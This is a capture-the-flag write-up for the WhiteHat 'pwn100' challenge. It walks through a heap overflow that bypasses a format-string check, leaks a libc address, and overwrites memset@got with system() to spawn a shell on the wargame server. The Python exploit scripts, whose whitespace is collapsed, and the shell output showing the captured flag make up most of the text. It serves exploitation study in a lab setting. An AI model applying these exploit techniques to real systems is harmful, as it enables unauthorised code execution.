It doesn’t do a whole lot, it takes two strings as input and then starts looping. Superkojiman and I quickly realized we could crash this C++ application by sending more than 300 bytes as input. However, this made it crash in strlen:
This is unfortunate. It actually combined our inputs and then decided to crash via a null pointer in strlen. We started investigating the binary in more detail. It fills two “Tag” structures on the heap with our input:
It checks the length of the input to be less than or equal to 0x201 or 513 bytes. If it is larger, the structure on the heap is not filled (hence our crash in strlen()). The code at loc_80489ef checks our input for the % character… This hinted at a format string vulnerability!
If there is no % character present, a flag in the structure on the heap will be set to 1. If not, the flag will be 0. This value is later checked and the binary will print:
12345678
bas@tritonal:~/tmp/wh/pwn100$ ./pwn100
%%
AA========T1Verify 0
%%
Not verify , content?
I call this flag “Tag::verify”. I started playing around with the input and I was able to overwrite the verify flag of Tag2 using a buffer overflow in Tag1:
12345678910111213
gdb-peda$ r
%
%p
========T1Verify 0
%
Not verify , content?
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
T2Verify a
%p
Not verify , content?
First, I sent an invalid Tag1 and Tag2 buffer, containing a % character. Then I get the option to send another input for Tag1. I submit 512*1 plus a newline (which is a in hexadecimal). The newline ends up in Tag2::verify!
This means we can bypass the verification by overflowing Tag1 into Tag2::verify. I started a socat listener and started experimenting in a python script.
fromsocketimport*importstruct,telnetlib,re,sys,timedefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)s.connect(('localhost',6666))# send invalid tag1s.send("%"*511+"\x0a")time.sleep(0.5)# tag2 is also invalid, but we will bypass the protections.send("%08x-%08x-%08x-%08x-%08x-%08x\n")readtil('content?')time.sleep(0.1)# enable tag2 by overwriting Tag2::verified# it will be printed using sprintf() even though it contains invalid chars \o/s.send("%"*512+"\x01")readtil('T2Verify 1')t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
The offsets are taken from the output of nm -D ./libc.so.6 | grep <function_name>.
It works! We can bypass the string format protection by overflowing Tag1 into Tag2. Now things become interesting. We need a way to spawn a shell, so we need system(). However, ASLR is probably enabled, so we need to leak a libc address somehow. We can easily leak addresses with the string format vulnerability. Let’s run it against the super slow remote server:
fromsocketimport*importstruct,telnetlib,re,sys,timedefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)#s.connect(('localhost', 6666))s.connect(('lab33.wargame.whitehat.vn',10100))# send invalid tag1s.send("%"*511+"\x0a")time.sleep(0.5)# tag2 is also invalid, but we will bypass the protection# leak write@gots.send(p(0x804a01c)+"%6$s\n")# 0x804a01c = write@gotreadtil('content?')time.sleep(0.1)# first, enable tag2 by overwriting Tag2::verified# it will be printed using sprintf() even though it contains invalid chars \o/s.send("%"*512+"\x01")readtil('T2Verify 1')# receive crap from format strings.recv(16)# receive actual information, contains leaked got pointersdata=s.recv(100)libc_write=struct.unpack('<I',data[:4])[0]# remoteprint"[+] Leaked write : "+hex(libc_write)libc_base=libc_write-0x000d9510print"[+] libc base addr : "+hex(libc_base)libc_rce=libc_base+0x003fcd0# systemprint"[+] libc system addr: "+hex(libc_rce)t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
Looks good, right? Now, the trick is to invalidate Tag2 again, so we can set it to a new format string, then revalidate it again. The new format string will take care of overwriting a GOT pointer with our acquired system() address.
I chose to overwrite memset@got with system(). One of the arguments to memset is the buffer which contains our input. By overwriting memset with system, the next time memset is called, we’ll effectively run system(our_input)!
fromsocketimport*importstruct,telnetlib,re,sys,timedefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)#s.connect(('localhost', 6666))s.connect(('lab33.wargame.whitehat.vn',10100))# send invalid tag1s.send("%"*511+"\x0a")time.sleep(0.5)# tag2 is also invalid, but we will bypass the protection# leak write@gots.send(p(0x804a01c)+"%6$s\n")# 0x804a01c = write@gotreadtil('content?')time.sleep(0.1)# first, enable tag2 by overwriting Tag2::verified# it will be printed using sprintf() even though it contains invalid chars \o/s.send("%"*512+"\x01")readtil('T2Verify 1')# receive crap from format strings.recv(16)# receive actual information, contains leaked got pointersdata=s.recv(100)libc_write=struct.unpack('<I',data[:4])[0]# remoteprint"[+] Leaked write : "+hex(libc_write)libc_base=libc_write-0x000d9510print"[+] libc base addr : "+hex(libc_base)libc_rce=libc_base+0x003fcd0# systemprint"[+] libc system addr: "+hex(libc_rce)# invalidate t2 again by overflowing t1 into Tag::verified, so we can set it to a new valuereadtil('content?')s.send("%"*512+"\x00")# calculate the magic constants for the string format attack# don't stare too long at them or you'll go blindmagic1=((0x100+(libc_rce&0xff))-12)&0xffmagic2=((0x100+(libc_rce>>8)&0xff)-(libc_rce&0xff))&0xffmagic3=((0x100+(libc_rce>>16)&0xff)-((libc_rce>>8)&0xff))&0xff# send new t2readtil('content?')# ugly format string will write out address of system() into memset@got byte-by-bytes.send(p(0x804a020)+p(0x804a021)+p(0x804a022)+"%"+str(magic1)+"c%6$hhn%"+str(magic2)+"c%7$hhn%"+str(magic3)+"c%8$hhn\n")# 0x804a01c = write@gotreadtil('content?')# validate t2 by sending an invalid t1s.send("%"*512+"\x01")s.recv(100)# we now get another shot at sending a correct t1,# however, memset is overwritten with system(), so now it should spawn a shells.send('/bin/sh\x0a')print"[+] Enjoy your shell!"t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
Let’s run it against the remote system:
1234567891011121314151617
bas@tritonal:~/tmp/wh/pwn100$ python poc1.py
[+] Leaked write : 0xf75c0510
[+] libc base addr : 0xf74e7000
[+] libc system addr: 0xf7526cd0
[+] Enjoy your shell!
T2Verify 1
...snip...
T1sh: 1: Syntax error: Unterminated quoted string
Verify 0
sh: 1: Verify: not found
/bin/sh
...snip...
Not verify , content?
id
uid=1002gid=1002
cat /home/*/flag
WhiteHat{786fdd7b4ed544a186e6457a4c24fe8a95a67bbc}
A lot of crap is printed, but in the end we land our shell!